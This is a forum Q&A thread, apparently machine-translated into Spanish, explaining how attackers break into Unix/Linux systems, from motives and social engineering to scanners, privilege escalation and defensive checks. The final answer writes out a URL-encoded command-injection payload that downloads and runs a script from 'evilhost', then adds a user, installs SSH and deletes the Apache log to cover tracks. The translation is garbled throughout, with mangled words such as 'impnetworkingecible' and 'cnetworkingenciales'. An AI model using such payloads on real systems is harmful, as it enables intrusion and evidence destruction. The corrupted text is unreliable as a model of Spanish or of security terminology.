¿Cómo es que la gente "descifra" los sistemas Unix / Linux?

No estoy buscando convertirme en una galleta o algo así, pero estoy tratando de descubrir el process (más desde una perspectiva de progtwigción).

Así que estoy asumiendo (adivinando) que el objective principal de un cracker es get acceso de root para instalar cualquier software (o script) que haya escrito, ¿verdad? o tal vez instalando su propio module kernal (eso es tortuoso por la razón que sea) ¿Cómo hace exactamente una persona para hacer esto?

Sé que la gente usa scripts para verificar los exploits … pero no veo cómo, y tampoco veo exactamente qué hacen con ellos una vez que los encuentran. ¿Están revisando versiones de exploits conocidos … y luego una vez que encuentran uno …….

Sé que todo esto suena muy nuevo. pero estoy tratando de hacerme una idea de cómo funciona, ya que sé que los sistemas Linux / Unix se supone que son muy seguros, pero estoy tratando de descubrir cómo alguien podría ir (el process) para get acceso a la raíz.

Hay innumerables razones por las cuales uno podría tratar de comprometer la security de un sistema. A grandes rasgos:

  • Para usar los resources del sistema (por ejemplo, enviar correo no deseado, tráfico de retransmisión)
  • Adquirir información sobre el sistema (por ejemplo, get datos del cliente de un sitio de comercio electrónico).
  • Para cambiar la información en el sistema (por ejemplo, desfigurar un website, plantar información falsa, eliminar información)

Solo algunas veces estas cosas requieren acceso de root. Por ejemplo, al ingresar una consulta de búsqueda mal formada en un sitio que no desinfecta correctamente la input del usuario puede revelar información de la database del sitio, como nombres de usuario / passwords, direcciones de correo electrónico, etc.

Muchos delincuentes informáticos son simplemente "guionistas"; es decir, personas que realmente no entienden la security de los sistemas, y ni siquiera pueden codificar, pero ejecutan exploits escritos por otros. Por lo general, son bastante fáciles de defender porque no tienen la capacidad de adaptarse; están limitados a explotar vulnerabilidades conocidas. (Aunque pueden aprovechar botnets, grandes grupos de computadoras comprometidas, lo que puede significar un peligro de ataques DDoS).

Para el atacante experto, el process es más o less así:

  1. Averigua cuál es el objective y cuál es el valor del objective. La security, manteniéndolo o comprometiéndolo, es un cálculo de riesgo / recompensa. Cuanto más arriesgado y costoso sea, más intrínseca será la recompensa para que un ataque valga la pena.

  2. Considere todas las partes mobilees que afectan el objective, por ejemplo, si desea enviar correo no deseado, puede atacar el server de correo, pero puede tener más sentido search un service diferente orientado a la networking, como todo lo que realmente hace. es necesario utilizar la connection neta del objective. Si desea datos de usuario, comience a search en el server de la database, la aplicación web y el server web que tienen la capacidad de acceder a él, el sistema que lo respalda, etc.

    Nunca descartes el factor humano. Asegurar un sistema de computadora es mucho más fácil que asegurar el comportamiento humano. Hacer que alguien revele información que no debería, o ejecutar un código que no deberían, es fácil y efectivo. En la universidad, gané una apuesta con un amigo que involucraba irrumpir en su networking corporativa ubicuamente protegida al vestir un atuendo revelador y toparme con un vicepresidente lascivo: la experiencia técnica de mi amigo superaba con creces a la mía, pero nada supera el poder de un 17yo ¡co-ed con una falda corta!

    Si te faltan tetas, considera ofrecer un juego sin sentido o algo que los idiotas downloadán por diversión sin considerar lo que realmente podría estar haciendo.

  3. Observe cada parte que ha identificado y considere qué puede hacer, y cómo podría modificarse para hacer lo que quiera; tal vez el service de asistencia restablezca las passwords para los usuarios con frecuencia sin identificar adecuadamente a la persona que llama, y ​​llamarlas sonar confusas get la contraseña de otra persona. Tal vez la aplicación web no verifique lo que se pone en el cuadro de búsqueda para asegurarse de que no es código antes de pegarlo en una function que ejecuta. Los compromisos de security usualmente comienzan con algo intencionalmente expuesto que se puede hacer que se comporte de una manera que no debería.

El factor más importante es el tipo de acceso que tiene el atacante. Si tienen acceso físico, estás jodido. Si solo le preocupa el acceso remoto, depende de lo que esté ejecutando; una buena configuration es todo. Un server linux estándar probablemente ejecutará ftp, ssh, http, https y mysql. SSH es seguro, pero no permitiría los inicios de session raíz, y una buena contraseña en cada count es imprescindible. FTP es impnetworkingecible. Si tiene VSFTP y cierra sus usuarios, entonces es muy seguro. Varias otras versiones tienen vulnerabilidades conocidas. HTTP probablemente sea tu área más vulnerable. Su mayor preocupación aquí es cualquier cosa que ejecute files en el sistema o que cargue files en el sistema. La inyección SQL es MUY difícil si su website está hecho en PHP5. Un grupo de estudiantes de security y yo probamos inyecciones de SQL en un website PHP5 no optimizado durante semanas y no tuvimos éxito. Con MySQL, asegúrese de utilizar un usuario que no sea root y restrinja el inicio de session solo desde su server Apache.

Hay un par de complementos de Firefox para probar las vulnerabilidades del website: acceda a mí, xss me y SQL inyécteme

Algunas cosas importantes que siempre haría en las competiciones para garantizar la security serían las siguientes:

  • netstat – comtesting puertos abiertos y conexiones,
  • w – quién está conectado, por cuánto time,
  • Revisa los loggings de inicios de session,
  • historial de bash para commands ejecutados,
  • ps – ejecutando commands,
  • /etc/passwd para usuarios adicionales
  • /etc/sudoers para el acceso sudo.

Normalmente, después de get acceso, un atacante quiere get la raíz. Actualmente existen algunas vulnerabilidades de escalamiento de privilegios que permitirían a un usuario normal get una raíz. Después de eso, quieren abrirlo para acceder más tarde agregando usuarios y abriendo puertas traseras.

Aquí está el website de defensa cibernética de mi escuela. Siéntase libre de mirar alnetworkingedor y hacer algunas preguntas: https://thislink.doesntexist.org/

La security de un sistema depende de las habilidades de los administradores, por lo que es un error decir "Se supone que los sistemas Linux / Unix son muy seguros" 🙂

Ahora para piratear … Existe un tipo de herramientas llamadas " escáner de vulnerabilidades " como Nessus que busca cosas que explotar. Hay miles de cosas que pueden salir mal en un sistema complejo, como un server Apache mal configurado para permitir la carga de files arbitrarios en lugares arbitrarios. Esos pueden servir como un trampolín para otros exploits, como get acceso a una database, o una count de correo electrónico desde la cual se pueden restaurar las passwords a través de la function "Olvidé mi contraseña".

A veces un truco es get acceso y hacer algo malvado. A veces las personas lo hacen por diversión (lo cual es una tontería, por cierto).

Y, aquí está la historia de un famoso truco que sucedió hace bastante poco. ¡Creo que será ilustrativo para cualquiera que esté buscando security! Para citar un resumen de exploits:

Una aplicación web con fallas de inyección SQL y passwords inseguras. Contraseñas que fueron mal elegidas Contraseñas que fueron reutilizadas Servidores que permitieron la authentication basada en contraseña. Sistemas que no fueron parcheados Y una asombrosa disposition a entregar cnetworkingenciales por correo electrónico, incluso cuando la persona a la que se les preguntó debería haberse dado count de que algo estaba pasando.

Hay tantos vectores de ataque que son casi infinitos. Uno de los conceptos conceptuales más simples es hacer que un progtwig esté disponible al público, y decir que hace algo diferente de lo que realmente hace. Dale a los usuarios instrucciones amistosas con un sudo al comienzo, y observa cómo el mundo se dispara. Esto ocurre todos los días con los progtwigs de código cerrado, ya que no es factible que una sola persona inspeccione su funcionamiento de antemano, como se puede ver, por ejemplo, con los CD de Sony .

También puede intentar enviar cadenas especiales a un host remoto. Para un ejemplo de alto nivel, digamos que tiene un server web con algún software ejecutándose, y ese software ejecuta parte de la URL como un command sin escapingse o de lo contrario asegura que no puede hacer ningún daño. Envíe algo como http://www.example.org/search?q=foo%3Bwget%20http%3A%2F%2Fevilhost%2Fscript.sh%3B%20chmod%20u%2Bx%20script.sh%3B%20.%2Fscript.sh . Decodificado, la cadena de búsqueda se convierte en foo;wget http://evilhost/script.sh ; chmod u+x script.sh; ./script.sh foo;wget http://evilhost/script.sh ; chmod u+x script.sh; ./script.sh foo;wget http://evilhost/script.sh ; chmod u+x script.sh; ./script.sh Si se ejecuta, script.sh se ejecutará con los mismos derechos de acceso que el usuario del server web para hacer cualquier cosa en la máquina. A veces las personas dejan que estas funcionen como raíz para "conveniencia", en este caso un sinónimo de pereza y / o desorientación. Incluso si no se ejecuta como root, ese script podría ejecutar miles de testings para otros agujeros en el software instalado y ejecutar otro command si encuentra uno. Ese último command podría ser, por ejemplo, useradd blabla; apt-get install openssh; rm /var/log/apache.log useradd blabla; apt-get install openssh; rm /var/log/apache.log useradd blabla; apt-get install openssh; rm /var/log/apache.log , para get acceso SSH y eliminar los rastros del robo.

[los commands fueron obviamente simplificados y probablemente no funcionarían de todos modos. YMMV]